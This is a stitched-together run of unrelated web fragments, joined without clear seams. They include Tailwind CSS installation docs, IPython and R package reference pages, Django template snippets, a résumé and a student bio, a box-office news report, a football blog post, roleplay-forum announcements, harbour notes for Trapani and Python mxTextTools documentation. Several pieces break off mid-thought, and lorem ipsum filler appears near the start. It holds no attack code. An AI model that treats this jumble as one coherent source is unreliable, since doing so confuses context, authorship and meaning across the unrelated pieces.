We are using data.world to host discussions about the book. At the moment, we have organized the discussion into the following topics:
General Discussion Discussion about the book in general; translations, availabiltiy, formats, proposed new topics, etc. Anything that isn't about a particular example or section in the current edition.


Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
I am now a student at Code Fellows. After high school, I went to college, which turned out not to be a good fit for me. I did earn my associates in science for physics, and went back to WSU. My job to pay my way through school was at Pizza Hut. After I was done with school, Pizza Hut offered me a promotion so I quit and started at code fellows. I was not willing to dedicate the rest of my life to that company.
work history, by start date
- Delivery Driver (Papa John's) May 2012 - June 2015
- Delivery Driver (Pizza Hut) Sept 2015 - Aug 2017
- Shift Lead (Pizza Hut) Dec 2015 - Aug 2017
- Math, Physics, Chemistry tutor (self-employed) Jan 2014 - July 2017
education history
- Skyline High School 2009
- Bellevue College 2013
- Attended WSU
Quesiton Answers
- Brent has lived on three continents: North America, Europe, and Asia
- Brent does not speak three languages. Brent speaks english and learned coding instead of becoming a polyglot
- Brent will drink coffee socially, but prefers tea as a daily beverage
- Brent is in his twenties, so no. He has not been alive for a full three decades
- To be honest, Brent is not that obsessed with the number three but since so far the questions have been based upon that number, the correct answer is yes!
- Brent's first computer science course was cpts 121 at Washington State University
- The six best US chess players (at the time of writing) are Caruana, Nakamura, So, Akobian, Onischuk, and Kamsky


Installation
CDN
Before getting started please note, many of the features that make Tailwind CSS great are not available using the CDN builds. To take full advantage of Tailwind's features, install Tailwind via npm.
To pull in Tailwind for quick demos or just giving the framework a spin, grab the latest default configuration build via CDN:
<link href="https://cdn.jsdelivr.net/npm/tailwindcss/dist/tailwind.min.css" rel="stylesheet">
Or if you'd like to pull in the base styles separate from the utility classes:
<link href="https://cdn.jsdelivr.net/npm/tailwindcss/dist/preflight.min.css" rel="stylesheet">
<!-- Any of your own CSS would go here -->
<link href="https://cdn.jsdelivr.net/npm/tailwindcss/dist/utilities.min.css" rel="stylesheet">
NPM
For most projects (and to take advantage of Tailwind's customization features), you'll want to install Tailwind via npm.
1. Install Tailwind via npm
Tailwind is available on npm and can be installed using npm or Yarn.
2. Create a Tailwind config file
Tailwind is configured almost entirely in plain JavaScript. To do this you'll need to generate a Tailwind config file for your project. We recommend creating a tailwind.js
file in your project's root.
We've provided a CLI utility to do this easily:
If you're an experienced Tailwind user who doesn't need the comments in the config file, use the --no-comments
flag when generating your config file to strip them out.
3. Use Tailwind in your CSS
Use the @tailwind
directive to inject Tailwind's preflight
and utilities
styles into your CSS.
To avoid specificity issues, we highly recommend structuring your main stylesheet like this:
/**
* This injects Tailwind's base styles, which is a combination of
* Normalize.css and some additional base styles.
*
* You can see the styles here:
* https://github.com/tailwindcss/tailwindcss/blob/master/css/preflight.css
*
* If using `postcss-import`, use this import instead:
*
* @import "tailwindcss/preflight";
*/
@tailwind preflight;
/**
* This injects any component classes registered by plugins.
*
* If using `postcss-import`, use this import instead:
*
* @import "tailwindcss/components";
*/
@tailwind components;
/**
* Here you would add any of your custom component classes; stuff that you'd
* want loaded *before* the utilities so that the utilities could still
* override them.
*
* Example:
*
* .btn { ... }
* .form-input { ... }
*
* Or if using a preprocessor or `postcss-import`:
*
* @import "components/buttons";
* @import "components/forms";
*/
/**
* This injects all of Tailwind's utility classes, generated based on your
* config file.
*
* If using `postcss-import`, use this import instead:
*
* @import "tailwindcss/utilities";
*/
@tailwind utilities;
/**
* Here you would add any custom utilities you need that don't come out of the
* box with Tailwind.
*
* Example :
*
* .bg-pattern-graph-paper { ... }
* .skew-45 { ... }
*
* Or if using a preprocessor or `postcss-import`:
*
* @import "utilities/background-patterns";
* @import "utilities/skew-transforms";
*/
4. Process your CSS with Tailwind
Using Tailwind CLI
For simple projects or just giving Tailwind a spin, you can use the Tailwind CLI tool to process your CSS:
Use the npx tailwind help build
command to learn more about the various CLI options.
Using Tailwind with PostCSS
For most projects, you'll want to add Tailwind as a PostCSS plugin in your build chain.
We've included the Tailwind-specific instructions for a few popular tools below, but for instructions on getting started with PostCSS in general, see the PostCSS documentation.
Webpack
Add tailwindcss
as a plugin in your postcss.config.js
file, passing the path to your config file:
var tailwindcss = require('tailwindcss');
module.exports = {
plugins: [
// ...
tailwindcss('./path/to/your/tailwind.js'),
require('autoprefixer'),
// ...
]
}
For a complete example, check out our webpack-starter template.
Gulp
Add tailwindcss
to the list of plugins you pass to gulp-postcss, passing the path to your config file:
gulp.task('css', function () {
var postcss = require('gulp-postcss');
var tailwindcss = require('tailwindcss');
return gulp.src('src/styles.css')
// ...
.pipe(postcss([
// ...
tailwindcss('./path/to/your/tailwind.js'),
require('autoprefixer'),
// ...
]))
// ...
.pipe(gulp.dest('build/'));
});
Laravel Mix
If you're writing your project in plain CSS, use Mix's postCss
method to process your CSS. Include tailwindcss
as a plugin and pass the path to your config file:
var tailwindcss = require('tailwindcss');
mix.postCss('resources/css/main.css', 'public/css', [
tailwindcss('./path/to/your/tailwind.js'),
]);
If you're using a preprocessor, use the options
method to add tailwindcss
as a PostCSS plugin:
var tailwindcss = require('tailwindcss');
mix.less('resources/less/app.less', 'public/css')
.options({
postCss: [
tailwindcss('./path/to/your/tailwind.js'),
]
});
Note for Sass users: Due to an unresolved issue with one of Mix's dependencies, to use Sass with Tailwind you'll need to disable processCssUrls
:
var tailwindcss = require('tailwindcss');
mix.sass('resources/sass/app.scss', 'public/css')
.options({
processCssUrls: false,
postCss: [ tailwindcss('./path/to/your/tailwind.js') ],
});
For more information on what this feature does and the implications of disabling it, see the Laravel Mix documentation.
Webpack Encore
Create a postcss.config.js
file, add tailwindcss
as a plugin and pass the path to your config file:
module.exports = {
plugins: [
require('tailwindcss')('./path/to/your/tailwind.js'),
]
}
Within webpack.config.js
, create a style entry and enable the PostCSS loader.
var Encore = require('@symfony/webpack-encore');
Encore
.setOutputPath('public/build/')
.setPublicPath('/build')
.addStyleEntry('app', './css/app.css')
.enablePostCssLoader()
;
module.exports = Encore.getWebpackConfig();
You can also pass options into the PostCSS loader by passing a callback, as per the Encore PostCSS docs:
.enablePostCssLoader(function(options) {
options.config = {
path: 'config/postcss.config.js'
};
})
Note for Sass users: Due to an unresolved issue with one of Encore's dependencies, to use Sass with Tailwind you'll need to disable resolveUrlLoader
:
Encore
.enableSassLoader(function (options) {}, {
resolveUrlLoader: false
})
;
Brunch
Add tailwindcss
to the list of processors you pass to postcss-brunch, passing the path to your config file:
exports.config = {
// ..
plugins: {
// ...
postcss: {
processors: [
require('tailwindcss')('./tailwind.js')
]
}
// ...
}
};


lexer
¶
Build our lexer in addition to utilizing already built ones.
Pygments, IPython, prompt_toolkit, Jinja2 and Sphinx all come with their own concepts of lexers which doesn’t include the built-in modules.:
So it’d be tough to say we’re at a lack of tools!
Configurable Lexers¶
The lexers defined here were originally created to stand in as objects able to merge the seemingly disjoint APIs of IPython, traitlets, prompt_toolkit and pygments.
Todo
The IPython.terminal.lexer.IPythonPTLexer
also should have a few
of these attributes as well.
And here’s how you join the bridge.
-
PygmentsLexer(Lexer):
Lexer that calls a pygments lexer.
Example:
from pygments.lexers.html import HtmlLexer lexer = PygmentsLexer(HtmlLexer)
Note: Don’t forget to also load a Pygments compatible style. E.g.:
from prompt_toolkit.styles.from_pygments import style_from_pygments_cls from pygments.styles import get_style_by_name style = style_from_pygments_cls(get_style_by_name(‘monokai’))
- Parameters
pygments_lexer_cls – A
Lexer
from Pygments.sync_from_start – Start lexing at the start of the document. This will always give the best results, but it will be slow for bigger documents. (When the last part of the document is display, then the whole document will be lexed by Pygments on every key stroke.) It is recommended to disable this for inputs that are expected to be more than 1,000 lines.
syntax_sync –
SyntaxSync
object.
Lexer Autogenerated Docs¶
-
class
IPythonConfigurableLexer
(**kwargs)[source][source]¶ Bases:
traitlets.config.configurable.LoggingConfigurable
-
class
Colorizer
(pylexer=None, formatter=None)[source][source]¶ Bases:
object
Make the pygments function ‘highlight’ even easier to work with.
Additionally utilize
__slots__
to conserve memory.-
formatter
[source]¶ Format tokens with ANSI color sequences, for output in a true-color terminal or console. Like in
TerminalFormatter
color sequences are terminated at newlines, so that paging the output works correctly.New in version 2.1.
Options accepted:
style
The style to use, can be a string or a Style subclass (default:
'default'
).
-


Covid-19 Datascrapper Germany
This is a simple scrapper for gathering and serving data related to Covid-19 in Germany. Following files are available:
- data.json - main collection. optimized for processing. (updated at least once a day)
- meta.json - meta information, like a list of all states and counties in Germany. Also contains keys needed for understanding the optimized data. (sparely updated)


Home Office Pattern Library
This pattern library contains patterns developed uniquely for Home Office services by researchers, designers and developers within Home Office Digital.
These patterns complement the existing GOV.UK design patterns.
You should use them when designing a new Home Office service, unless your research suggests there is a strong case for taking an alternative approach.
Patterns for all Home Office services
Patterns for internal Home Offices services
Submitting a pattern
To be included in this library every pattern or element must:
- be used by more than one Home Office service
- be tested with users and common assitive technologies
- not be a variation of a gov.uk style
- be approved by a majority of the HOD design community at a design crit
If you'd like to submit a pattern do this process we need to figure out


Actively seeking a Full time position in the field of Computer Science which will provides me an opportunity to utilize my technical skills for developing efficient software solutions.
Leading a team to Build an Analytics framework and Ads framework for chase web applications built on Node.js platform. Leading designing and documentation efforts for frameworks and mentoring overseas employees and onsite developers. Technologies: JavaScript, NodeJS, Webpack
LinkedIn »JP Morgan Chase (August 2015-Present) Associate Software engineering, Working as an application developer to evolve and build inhouse single page application Framework by providing inputs in form of features and enhancements. Mentored overseas employees and interns. Technologies: JavaScript, NodeJS, Webpack
Programming Languages: JavaScript, TyprScript, Java, Swift, JSP, CSS, CSS3 and XML. Frameworks: AngularJS, React, DNN, SharePoint, NodeJS Database: Microsoft SQL Server 2000/05/08, Oracle 10g/9i: SQL, PL/SQL. Concepts: Data Structures, Algorithms, Databases and Networking. Operating System: Windows, Mac, UNIX. IDEs: Sublime Text , Xcode, Visual Studio, Eclipse, Net Beans, Dreamweaver, Git.
Purdue School of Science, Indianapolis, IN Master of Science, Computer and Information Sciences Graduated: May-2014 University of Pune, India Bachelor in Computer Engineering Graduated: Aug-2011


'Terminator: Dark Fate' is No. 1, but still spells judgment day for franchise
by Associated PressIt might be judgment day for the "Terminator" franchise.
Despite generally favorable reviews and the return of star Linda Hamilton and producer James Cameron, "Terminator: Dark Fate" has opened well below expectations at the box office. Studios on Sunday estimate that "Dark Fate" earned only $29 million from over 4,000 North American locations. The film from Paramount Pictures cost a reported $185 million to produce.
It was enough to win the top spot at the box office, but it's a weak victory for the franchise. Although "Dark Fate," which was directed by "Deadpool's" Tim Miller, received much better reviews (currently at 69 percent on Rotten Tomatoes) and was praised for being a return to form to Cameron's original films, it opened just slightly ahead of 2015's roundly derided "Terminator: Genisys."
CHRIS PRATT, KATHERINE SCHWARZENEGGER CELEBRATE HALLOWEEN WITH 'TERMINATOR' DATE NIGHT
"These big brands carry with them huge expectations, often unrealistic expectations," said Comscore senior media analyst Paul Dergarabedian. "It wasn't for lack of enthusiasm for the stars and filmmakers."
Internationally, "Dark Fate" did much better, earning $72.9 million from 48 markets. Fox International, not Paramount, is handling international distribution, excluding China.
Second place went to "Joker," which added $13.9 million, bringing its global earnings to $934 million in just five weeks in theaters. "Maleficent: Mistress of Evil" landed in third place in its third weekend with an additional $12.2 million. The Angelina Jolie-led sequel has grossed $84.3 million in North America.
'TERMINATOR: DARK FATE' LOS ANGELES PREMIERE CANCELED DUE TO CALIFORNIA WILDFIRES
One bright spot of the weekend, which is down nearly 19 percent from last year when "Bohemian Rhapsody" opened, is Focus Features' "Harriet," which is the first film ever made about Harriet Tubman. Starring Cynthia Erivo in the title role, "Harriet" performed better than expected, earning $12 million from just over 2,000 theaters to take fourth place. The film scored a coveted A+ CinemaScore from audiences, who were primarily female (62 and over the age of 35 (59 percent). African Americans also made up a significant portion of the audience (49 percent) according to exit polls.
"It's really heartwarming and gives you a lot of faith that there are still a lot of people who want to see stories about real life superheroes," said Focus Features distribution president Lisa Bunnell. "There's a real feeling of love for this movie. I think it's inspirational for people to see."
Focus did outreach to faith-based groups and educators and has seen enormous success with group sales as a result.
'TERMINATOR: DARK FATE' STAR ARNOLD SCHWARZENEGGER ADMITS HE WAS SCARED DURING HEART SURGERY
'TERMINATOR: DARK FATE' STARS LINDA HAMILTON, ARNOLD SCHWARZENEGGER BOND
Other newcomers struggled to find that kind of enthusiasm this weekend. Edward Norton's adaptation of Jonathan Lethem's "Motherless Brooklyn" opened in ninth place to $3.7 million, while the animated "Arctic Dogs" took 10th with $3.1 million.
One of the highest-profile new films of the weekend, Martin Scorsese's "The Irishman," does not have any box office numbers to report, however, because Netflix declines to provide numbers for its theatrical releases. Starring Robert De Niro, Al Pacino and Joe Pesci, the film, which opened in limited release before hitting Netflix on Nov. 27, is expected to be a major Oscars contender.
' TERMINATOR: DARK FATE' STAR ARNOLD SCHWARZENEGGER ON SON-IN-LAW CHRIS PRATT: 'HE'S GREAT WITH MY DAUGHTER'
"With all eyes on 'The Irishman,' it's unfortunate that we don't have numbers on it," Dergarabedian said.
It's especially true considering that other smaller release films with awards buzz continue to perform well. "Parasite" took in 2.6 million in its fifth weekend "Jojo Rabbit," in its third weekend, added $2.4 million from 256 screens and "The Lighthouse," also in weekend three, grossed $2 million from 978 locations.
Estimated ticket sales for Friday through Sunday at U.S. and Canadian theaters, according to Comscore. Where available, the latest international numbers for Friday through Sunday are also included. Final domestic figures will be released Monday.
ARNOLD SCHWARZENEGGER AVOIDED CERTAIN ROLES EARLY IN HIS CAREER
1."Terminator: Dark Fate," $29 million.
2."Joker," $13.9 million.
3."Maleficent: Mistress of Evil," $12.2 million
4."Harriet," $12 million.
5."The Addams Family," $8.5 million.
6."Zombieland: Double Tap," $7.4 million.
7."Countdown," $5.9 million.
8."Black and Blue," $4.1 million.
9."Motherless Brooklyn," $3.7 million.
10."Arctic Dogs," $3.1 million.


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Ex-Manchester City star says Jordan Henderson is world-class
by Biscan's BootsFormer Premier League defender Micah Richards, once of our biggest rivals Manchester City, has praised Jordan Henderson and described Liverpool’s skipper as a ‘world-class’ player.
Richards was discussing England’s world-class operators and put Hendo in the same bracket as Harry Kane.
He told BBC Radio 5 Live, cited in the Echo : “Harry Kane is world-class.
“In midfield, there’s no other world, world-class midfielders.
“Henderson, you’d argue Henderson’s world-class, because of what he’s done and consistency and whatnot.
“He’s won a European Cup, he’s been consistent over the last three or four years. Yeah, it really is [hard to write off a Champions League-winning captain].
“You know what, I’m going to go with that statement, I’m going to say Henderson is world-class and a lot of the work that he does goes unnoticed because he’s not getting 10 assists a season or scoring 10 goals a season.
“I was referring to on the field but off the field as well.
“I’ve played with Henderson and he’s just an honest guy who would run through brick walls for you, he’s willing to improve, he wants the team to be at its best.
“I watched him in the Liverpool-Man City game and he just doesn’t stop running.”
We’re not sure of the benefit of debating whether a player is ‘word-class’ or not – as after all – what does it even mean?
But it’s nice that the skipper’s contributions are noticed outside of the club, considering how much bizarre stick he gets from some circles.
If he wasn’t a superb, tactically smart footballer, he wouldn’t start for Jurgen Klopp. That much is simple. And the German has just been named FIFA Best Manager of the Year, so perhaps he knows what he’s talking about.
This isn’t to say that Naby Keita and Alex Oxlade-Chamberlain won’t play huge roles for us this term, but time and time again the manager has shown he trusts Hendo implicitly, especially alongside Fabinho and Gini Wijnaldum.
That is the three we we expect to see for Liverpool v Crystal Palace at the weekend, too – with a win confirming we’ll either stay eight points clear or potentially increase our lead considering Manchester City are playing Chelsea.


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-
Announcements
-
SAO-RPG Temporary PK Rules 06/13/2016
Per the community discussion and input on the PK Rules, a temporary set of rules for PKing has been put in place. Please check the rules section to find them. -
July Monthly Mini Boss Revealed 06/22/2016
The pre-fight details for Nerius, the Evil Treant have been released in this thread. Artisans and Alchemists to your shops! -
Pruned Users, New Usernames Available! 06/23/2016
A long list of users have been removed from this site roughly 1,700 in total. The following were the conditions for which they were removed. Post count exactly 0. Joined from June 1 2014 to January 1 2016 Last visit was from January 1 2016 Basically your typical unused accounts serving no real purpose. If your account was one of these, you may contact me to retrieve any information attached to the account. Otherwise if you wish to have a username change, these names are now available. You can contact me for one of them or register a new account on your own. -
ALO/GGO Split? 07/16/2016
It has been brought to the staff's attention that the foci of this site has and always will be Sword Art Online. The SAO side of this site has the full attention of the GM and PST team's respectively. The ALO and GGO side of this site has received off and on attention by the community and lacks any real leadership to direct and push it forward. It has come to the staff's attention to split the ALO / GGO parts of SAO-RPG off and shift them exclusively for The World Seed, our test development site that's always ran in the background of this site. That being said, by the end of this week the ALO and GGO sections will be purged entirely from SAO-RPG and you can continue to pick up said stories over on The World Seed. With that, a new separate staff will be needed to manage and navigate the ALO/GGO stories on The World Seed, so keep your eyes open for when the time comes and thank you for your understanding.
-
Privacy Policy
The team here at Sword Art Online Roleplay Community respect your privacy and will not share any of your registration information at any time with any users, partners, affiliates, third-party contents without your expressed written permission. In addition, all information stored in our database, while protected by security systems and our privacy terms, is viewable only to the highest level of staff member on this site; this includes your posts, internet service provider, email address, encrypted password, private messages, and file uploads. Therefore if you wish not for any of the mentioned related information to be saved on our database, please do not share or provide any said information without thorough consideration on your part.


Kai's main job in this build week was to facilitate the product's development on each level. He served as the main point of contact for all other team members, and was able to mentor the UI developers throughout their first build.
Check out Kai's other work HERE.
Reed's contribution to the team was to create one of the marketing pages for Σtockly.
Reed's Marketing Page
You can also check out Reed's other work HERE.
Isaac was the mind behind the moodboards, which helped set the team up for stylistic success. He also built a marketing page for the website.
Isaac's marketing Page
Check out Isaac's other work HERE.
Will was the third member of the UI team, and built this specific marketing page to help guide users to the landing page of Σtockly.
Check out Will's other work HERE.
William worked as the backend architect to ensure all of the endpoints were built and the data models were fleshed out in completion.
Check out William's other work HERE.
Louie worked with Derek to deliver output data the app can use, and created the analysis pipeline to ensure smooth delivery to the backend.
Check out Chris' other work HERE.
Derek worked with Louie to deliver output data the app can use, and created the analysis pipeline to ensure smooth delivery to the backend.
Check out Derek's other work HERE.
Jonathan worked alongside Ruben to build the front end features and UI components, as well as ensuring proper connection to the backend for pulling all necessary data.
Check out Jonathan's other work HERE.
Ruben worked with Jonathan to build the front end features and UI components, as well as ensuring proper connection to the backend for pulling all necessary data.
Check out Ruben's other work HERE.
Victor handled the app functionality for Σtockly to provide mobile users an option other than mobile browsers.
Check out Victor's other work HERE.


| vec_assert {vctrs} | R Documentation |
vec_is()
is a predicate that checks if its input is a vector that
conforms to a prototype and/or a size.
vec_assert()
throws an error when the input is not a vector or
doesn't conform.
vec_assert(x, ptype = NULL, size = NULL, arg = as_label(substitute(x))) vec_is(x, ptype = NULL, size = NULL)
x |
A vector argument to check. |
ptype |
Prototype to compare against. If the prototype has a
class, its |
size |
Size to compare against |
arg |
Name of argument being checked. This is used in error
messages. The label of the expression passed as |
vec_is()
returns TRUE
or FALSE
. vec_assert()
either
throws a typed error (see section on error types) or returns x
,
invisibly.
Informally, a vector is a collection that makes sense to use as column in a data frame. An object is a vector if one of the following conditions hold:
A vec_proxy()
method is implemented for the class of the
object.
The base type of the object is atomic: "logical"
,
"integer"
, "double"
, "complex"
, "character"
, "raw"
The object is a data.frame.
The base type is "list"
, and one of:
The object is a bare "list"
without a "class"
attribute.
The object explicitly inherits from "list"
. That is, the
"class"
attribute contains "list"
and inherits(x, "list")
is TRUE
.
Otherwise an object is treated as scalar and cannot be used as a vector. In particular:
NULL
is not a vector.
S3 lists like lm
objects are treated as scalars by default.
Objects of type expression are not treated as vectors.
Support for S4 vectors is currently limited to objects that inherit from an atomic type.
Subclasses of data.frame that append their class to the "class"
attribute are not treated as vectors. If you inherit from an S3 class,
always prepend your class to the "class"
attribute for correct dispatch.
vec_is()
never throws.
vec_assert()
throws the following errors:
If the input is not a vector, an error of class
"vctrs_error_scalar_type"
is raised.
If the prototype doesn't match, an error of class
"vctrs_error_assert_ptype"
is raised.
If the size doesn't match, an error of class
"vctrs_error_assert_size"
is raised.
Both errors inherit from "vctrs_error_assert"
.


Vader GUI
One comment per line
Comments separated by two lines
Submit
{% if sents %}
Results
{% for sent in sents %}
{{ sent.text }}
{{ sent.scores }}
{% endfor %}
{% endif %}


{% extends "base/app-page-content.html" %} {% load staticfiles %} {% block header %}{% include "base/header.html" with h1="Announcement" %}{% endblock header %} {% block title %}Announcement | {{announcement.headline}} {% endblock title %} {% block app-content %} {% if announcement %}
{{ announcement.event_date|date:"M" }}
{{ announcement.event_date|date:"j" }}
{{ announcement.content | safe}}
{# https://developers.google.com/structured-data/rich-snippets/events #} {# https://schema.org/Event #} {# https://schema.org/EducationEvent #}


File
Basic Statistics
Per base sequence quality
Per tile sequence quality
Per sequence quality scores
Per base sequence content
Per sequence GC content
Per base N content
Sequence Length Distribution
Sequence Duplication Levels
Overrepresented sequences
Adapter Content
Kmer Content


HBO Releases Trailer For Nick Saban, Bill Belichick Documentary
by Alek ArendNick Saban and Bill Belichick are two of football’s limited coaching legends. The two have mastered coaching, helping their teams have great success each and every season.
As a result of both coach’s successes, HBO will be airing a new documentary about the two individuals. It will certainly be a must-watch for all football fans, regardless of fanhood.
The 90-minute feature will be released Dec. 10th on HBO. Check out the newly released trailer below.
The two coaching legends will discuss their time together with the Cleveland Browns – and the struggles both faced during that time. It’s clear that the challenges both have been through have shaped who they are today.
Saban spent several seasons as the defensive coordinator for the Cleveland Browns when Belichick served as the team’s head coach. They clearly share a great respect for each other despite plenty of hardships.
It’ll be interesting to hear the two talk about their philosophies of life, coaching, football and what’s made them so successful today.
“There’s a lot of people that will take the challenge to climb the mountain,” Saban says in the trailer. “But when you get to the top of the mountain, you become the mountain.”
Check out the new documentary on Dec. 10 on HBO.


Player has acquired property
Player does not have enough assets to repay debt and been declared bankrupt
A new game has been initialized
The current game has ended
Player has landed on the Free Parking slot
Player has passed GO
Player has been sent to jail
Player has improved property
Player does not have sufficient funds for operation
Player has left jail
Player is able to manage their properties and status
Player has moved to the active position
It is now the next turn
Helper type for empty responses
The current running game has been paused
Player has the option to purchase a property
Player has paid rent to target player
Player has paid taxes
The current running game has been unpaused
Generated using TypeDoc
Responses sent from the Core
Each response represents some activity that has occurred within the Core.
Take the example of a player paying some taxes:
For responses that require an active player source (such as move, or the source of rent), the active player is assumed to be that present within the State at that point. We can make this assumption safely since the only time this player changes is explicitly after a NextTurnCmd.
From here on "Player" refers to this active player
authors: Michael K.


Located in the NW of Trapani Province on the extreme western edge of Sicily, Trapani is well known for its seafood dishes and a very picturesque town. Trapani is the shortest crossing from Sardinia.
Position 38°00′10"N, 12°29′56"E (harbour entrance)
It is essential to report both arrival and departure to the coastguard on VHF channel 16. Call the port when a mile from the entrance. Fines may be imposed if you do not do so.
The police and Customs officials are very helpful here.
Last updated August 2016.
It is prohibited to sail inside the harbour basin, motoring only.
Approach the harbour from the south but beware of the shallows a mile from the harbour. The yacht berths are directly north of the entrance and are often crowded. They are exposed to southerly winds and also those from the NW.
See alternative mooring recommendations from cruisers at the bottom of the page.
The port has most services, including crane, travel-hoist and fuel berth.
The town can provide most other needs (chandlery, LPG, laundry, post office, bank, pharmacy and provisions).
Photo showing berths belonging to VMV Moorings.
Last updated September 2015.


Lauren's EDA Blog
25.02.2016 Reflections
I like how forward thinking and holistic the program is.
I like the idea, which came up a lot in the Shereef video,
about changing your mindset. I am happy to get out of the 'consumer
mindset' and in to a 'creator mindset'. This seems like a great
idea.
I see myself doing my very best to engage with all aspects of the course. Typically, in study or work, i prefer to forge ahead alone, working independently. I know that the eda revolves around a lot of pairing or group work, so that will be new.
My expectations have not changed at all. I spent a lot of time talking to different people about eda, so i think my expectations were very realistic.
yes excited, and no i am not nervous


1 reference to PSSecurityException
System.Management.Automation (1)
engine\SecurityManagerBase.cs (1)
139
PSSecurityException securityException = new
PSSecurityException
(message, authorizationManagerException);


Version 0.3 (tiepin) of 1999-11-15
Marc-André Lemburg provides mxTextTools, a package of fast text manipulation tools for use with Python. The tagging engine within that package takes as input a set of tuples, the Tag Table, which tells it what to do. Although simple in format, these tuples aren't particularly readable, and indeed Marc-André himself says:
"I admit, these tables don't look very elegant. In fact I would much rather write them in some meta language that gets compiled into these tables instead of handcoding them. But I've never had time to do much research into this, so unless someone volunteers, it will stay like this for some time."
The following describes my implementation of a simple language which can be used to represent mxTextTools tag tables, which I believe to be easier to read and write than the underlying tuples, and which is transformable into said tuples by simple textual manipulations.
Note that the implementation is not yet complete, and whilst it is now possible to write all of the parsing I need for the translator in the language, there are still tuples that it is not possible to represent.
One outstanding matter is to decide on an extension for the text files which contain examples of this little language. For the moment, I'm using ".tag", although I can't help feeling that's probably used for other purposes elsewhere. ".mal" did occur to me, but is perhaps too obscure. ".mxtext" or ".mxtag" might have been better solutions, but are perhaps a bit overlong...
Back to Contents
Informally, my aims are:
Back to Contents
For obvious reasons, I'm going to assume that you already understand how to write mxTextTools tag tables. This means that we can dive straight in with the first example from the mxTextTool homepage:
The first line indicates that we are producing a tag table (as opposed to an
individual tuple - this will be discussed later on) and assigning it to
tag_table
. The use of "is:
" to delimit the start of a
new block scope (i.e., a new table or tuple) seems to me to make it clearer
what is going on, and the colon has the added advantage of meaning "new block"
in Python as well (which also means that Python mode handles the subsequent
indentation rather nicely).
The "<top>" is a label. I wanted to get rid of the "on success go to the tuple at position +5" sort of logic from the tag tables, since this is (a) difficult to work out, and (b) prone to error if one ever has to add new tuples to the table.
Offsets of plus one, minus one and zero are common enough that they have the special keywords next, previous and repeat available - having to use a label would be overkill in these cases, although it is, of course, still possible if the user deems it to be clearer.
(The label goes on a line by itself for the simple reason that
The "F:" and "T:" conditions are translations of the jump_no_match and jump_match elements. Obviously, specifying a label means "jump to that label". Be aware that there is no whitespace between the "F:" or "T:" and its target, and that the order is required (i.e., the "false" target must come first, if present - this is the same ordering as in the underlying tuples).
As our next example, consider:
The general notation:
and is the preferred notation for that form. Note that technically there is absolutely no reason not to have labels in the <suite> which are jumped to from outside the <suite> (or vice versa) - an 'if' block does not introduce a new scope. However, such usage may make it harder to read the code, so think carefully before introducing it.
Sometimes it is useful to define a single tuple by itself - for instance:
I find that this form is most commonly used for introducing tables that are used in more than one place (or conveniently separated out for clarity) - for instance:
To illustrate most of the forms which can be used, here is a rather silly example:
| The meta language | The translation |
# -*-python-*- from TextTools import * t_string is: 'str' = Word "string" t_whitespace is: AllIn ' \t' # A very silly tag table # Note that the two <label> lines are in different # "scopes" (not a usage I tend to recommend!) tagtable = Table is: <label> Word "infinite_loop" F:next T:repeat Word "back_to_start" F:next T:<label> Is "a": Skip back Table is: 'fred' = IsIn "abc": <label> 'jim' = Word "thingy" T:MatchOk Word "bingo" F:<label> 'fred' = IsIn "b" 'table' = Table is: t_string: t_whitespace t_string |
# -*-python-*- from TextTools import * t_string = \ ('str',Word,"string") t_whitespace = \ (None,AllIn,' \t') # A very silly tag table # Note that the two <label> lines are in different # "scopes" (not a usage I tend to recommend!) tagtable = ( # <label> (None,Word,"infinite_loop",+1,0), (None,Word,"back_to_start",+1,-1), (None,Is,"a",+2,+1), (None,Skip,-1), (None,Table,( ('fred',IsIn,"abc",+3,+1), # <label> ('jim',Word,"thingy",MatchFail,MatchOk), (None,Word,"bingo",-1), ('fred',IsIn,"b"), )), ('table',Table,( t_string + (+3,+1), t_whitespace, t_string, )), ) |
Back to Contents
The following are available for download:
.py
file which can be imported by
Translate.py (if the -import
switch is chosen) for use as
tag definitions for translating the metalanguage. I think that makes
sense...
You will also require mxTextTools v1.1.1 or later.
The Translate module provides a class main()
function in Translate.py.
Used as a command line program, Translate.py can be used to translate tag
tables written in the metalanguage into straight Python files. Its normal usage
is explained by invoking the "-help
" switch:
The -import
switch is used to prove that the translator can
indeed "bootstrap" itself, and will become the normal mode of operation in the
next release.
The translator attempts to determine which code "belongs" to it, and should thus be translated, and which code is Python code and should thus be transmitted untouched. This is so that one can do useful things like:
It also has the advantage of allowing one to mix tag tables with normal Python code, as one might naturally do if one were programming the tag tuples directly. Of course, it is slightly dangerous, as is any preprocessing of a file with mixed terminologies, and I don't guarantee to accept more than a subset of proper Python code within the final version of the translator.
(NB: random code is not allowed within tag tables themselves - it will be detected and commented out, with an appropriate error message.)
The output retains the indentation of the input, even though this may not conform (for instance) to the indentation that [X]Emacs Python mode would produce. This is mainly to make the equivalence of metalanguage and translation more obvious, which also aids in diagnosis of any translation problems.
Note that a comma is output after each entry within a tag table tuple,
including the final entry - this follows the normal "safe" convention when
writing lists, but can optionally be changed by changing the value of the
variable WANT_LAST_COMMA
in Translate.py (I would note that one of
the major benefits of the language to me is that one does not
need to remember those trailing commas after each tuple - leaving them
out results in unobvious errors!).
When closing parentheses are written at the end of a table, they are written to a line by themselves, indented to match the indentation of the start of the tuple. This introduces an "extra" line (i.e., a line that does not correspond to anything in the input tag data), but on the whole seems clearer than writing extra parentheses to the preceding line.
Inline comments are retained and output. By default they are output at
column 40 (variable COMMENT_COLUMN
in Translate.py), unless there
is already text there. This gives some chance that they will line up, but
obviously I'm not going to try too hard. Future versions of the translator may
make this more customisable.
The "end of line" character is output as "\n"
, and the
output is opened in text mode, so the result will depend on the platform
being used.
Some attempt is made to cope with "common errors" (read: "things I find myself doing wrong too frequently"). Specifically:
MatchOK
MatchOk
" has a lower case letter at the end. I
can see that this might be a pitfall, so the erroneous target
"MatchOK
" will generate a message, but will otherwise
be treated as if it were spelt correctly.
=
" in table block
If the translator finds the former situation (and note that the tag object is optional, as normal), it will output an appropriate error message, but continue as if the "correct" code had been found.
Note that whilst I'm not entirely convinced that "=
" is
the best character to use here, I do feel the need for a delimiter here,
and if one reads the normal Python "=
" as "references",
then one should read this operator as "tags".
is
" before colon
